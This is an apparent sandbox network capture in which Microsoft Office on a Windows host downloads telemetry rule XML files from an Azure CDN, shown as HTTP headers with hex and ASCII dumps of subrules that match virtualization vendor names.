2024-10-31 00:18:32 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 47 67 5d 5b 4c 6c 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120651" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <SR T="2" R="([Gg][Oo][Oo][Gg][Ll][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
58	192.168.2.5	49788	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 00:18:32 UTC	192	OUT	GET /rules/rule120652v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 00:18:32 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 00:18:32 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97E6FCDD" x-ms-request-id: 9e4d4e08-401e-0047-1d64-278597000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T001832Z-16849878b78fkwcjkpn19c5dsn00000007qg00000000qxk9 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 00:18:32 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120652" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
59	192.168.2.5	49789	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 00:18:33 UTC	192	OUT	GET /rules/rule120653v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 00:18:33 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 00:18:33 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C710B28" x-ms-request-id: c1b2f9d4-701e-0098-1062-26395f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T001833Z-16849878b78qf2gleqhwczd21s00000008vg00000000un7h x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 00:18:33 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 49 69 5d 5b 4e 6e 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 54 74 5d 5b 45 65 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120653" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <SR T="2" R="([Ii][Nn][Nn][Oo][Tt][Ee][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
60	192.168.2.5	49790	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 00:18:33 UTC	192	OUT	GET /rules/rule120654v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 00:18:33 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 00:18:33 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:05 GMT ETag: "0x8DC582BA54DCC28" x-ms-request-id: 9921b831-601e-0097-069c-27f33a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T001833Z-16849878b78wc6ln1zsrz6q9w800000008e000000000dt8e x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 00:18:33 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120654" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
61	192.168.2.5	49791	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 00:18:33 UTC	192	OUT	GET /rules/rule120655v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 00:18:33 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 00:18:33 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7F164C3" x-ms-request-id: 57989b77-d01e-0049-621c-27e7dc000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T001833Z-16849878b78j5kdg3dndgqw0vg0000000ak0000000002vak x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 00:18:33 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 49 69 5d 5b 4d 6d 5d 5b 42 62 5d 5b 4f 6f 5d 5b 58 78 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120655" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <SR T="2" R="([Nn][Ii][Mm][Bb][Oo][Xx][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
62	192.168.2.5	49792	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 00:18:33 UTC	192	OUT	GET /rules/rule120656v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 00:18:33 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 00:18:33 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:04 GMT ETag: "0x8DC582BA48B5BDD" x-ms-request-id: a1cd7d15-b01e-0070-762b-271cc0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T001833Z-15b8d89586f989rkwt13xern54000000044g000000003wxe x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 00:18:33 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120656" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
63	192.168.2.5	49793	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 00:18:33 UTC	192	OUT	GET /rules/rule120657v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 00:18:33 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 00:18:33 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:57 GMT ETag: "0x8DC582B9FF95F80" x-ms-request-id: 3a8fdb30-b01e-0084-08d4-2ad736000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T001833Z-159b85dff8fx9jp8hC1DFWp25400000000e0000000007rcx x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 00:18:33 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 55 75 5d 5b 54 74 5d 5b 41 61 5d 5b 4e 6e 5d 5b 49 69 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120657" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <SR T="2" R="([Nn][Uu][Tt][Aa][Nn][Ii][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
64	192.168.2.5	49794	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 00:18:34 UTC	192	OUT	GET /rules/rule120658v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 00:18:34 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 00:18:34 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:34 GMT ETag: "0x8DC582BB650C2EC" x-ms-request-id: c2db9b5f-901e-0015-105a-27b284000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T001834Z-16849878b78x6gn56mgecg60qc0000000amg000000008v4b x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-31 00:18:34 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120658" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
65	192.168.2.5	49795	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 00:18:34 UTC	192	OUT	GET /rules/rule120659v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 00:18:34 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 00:18:34 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3EAF226" x-ms-request-id: 9016a745-201e-0096-70e6-25ace6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T001834Z-16849878b786fl7gm2qg4r5y70000000091000000000dxkt x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 00:18:34 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 50 70 5d 5b 45 65 5d 5b 4e 6e 5d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 43 63 5d 5b 4b 6b 5d 20 5b 46 66 5d 5b 4f 6f 5d 5b 55 75 5d 5b 4e 6e 5d 5b 44 64 5d 5b 41 61 5d 5b 54 74 5d 5b 49 69 5d 5b 4f 6f 5d 5b 4e 6e 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120659" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <SR T="2" R="([Oo][Pp][Ee][Nn][Ss][Tt][Aa][Cc][Kk] [Ff][Oo][Uu][Nn][Dd][Aa][Tt][Ii][Oo][Nn])"> <S T="1" F="1" M="I

Session ID	Source IP	Source Port	Destination IP	Destination Port
66	192.168.2.5	49796	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 00:18:34 UTC	192	OUT	GET /rules/rule120660v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 00:18:34 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 00:18:34 GMT Content-Type: text/xml Content-Length: 485 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:39 GMT ETag: "0x8DC582BB9769355" x-ms-request-id: 98e85290-a01e-0021-7dec-2a814c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T001834Z-16849878b78smng4k6nq15r6s40000000a5g00000000v5a4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-31 00:18:34 UTC	485	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120660" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
67	192.168.2.5	49797	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 00:18:34 UTC	192	OUT	GET /rules/rule120661v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 00:18:34 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 00:18:34 GMT Content-Type: text/xml Content-Length: 411 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989AF051" x-ms-request-id: 8e6d5db5-101e-0017-4c27-2747c7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T001834Z-16849878b78x44pv2mpb0dd37w00000000vg00000000fvd6 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 00:18:34 UTC	411	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 56 76 5d 5b 49 69 5d 5b 52 72 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120661" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <SR T="2" R="([Oo][Vv][Ii][Rr][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
68	192.168.2.5	49798	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 00:18:34 UTC	192	OUT	GET /rules/rule120662v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 00:18:34 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 00:18:34 GMT Content-Type: text/xml Content-Length: 470 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBB181F65" x-ms-request-id: 6cbbe1db-401e-0083-6516-26075c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T001834Z-16849878b78g2m84h2v9sta29000000007q000000000bdfv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 00:18:34 UTC	470	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120662" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
69	192.168.2.5	49799	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 00:18:34 UTC	192	OUT	GET /rules/rule120663v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
